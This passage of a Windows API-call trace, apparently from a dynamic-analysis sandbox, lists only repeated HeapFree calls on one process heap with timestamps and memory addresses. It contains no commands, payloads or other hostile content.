hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.450] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.455] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.463] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.464] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.472] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.475] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.477] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.973] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.978] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.981] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0230.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0230.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.989] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.991] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0230.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0230.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0230.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0230.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0230.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0230.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0230.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0231.001] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0231.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0231.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0231.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0231.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0231.006] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0231.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0231.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0231.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0231.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.150] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.150] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.151] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.160] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.160] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.862] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.862] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0231.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0231.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0231.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0231.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.887] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0231.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0231.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0231.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0232.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0232.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0232.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0232.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0232.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0232.374] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x417efe0 | out: hHeap=0x4f0000) returned 1 [0232.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0232.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0232.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0232.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0232.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0232.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0232.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0232.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0232.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0232.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0232.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0232.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0232.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0232.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0232.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0232.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0232.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0232.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0232.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0232.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0232.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0232.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0233.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0233.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) 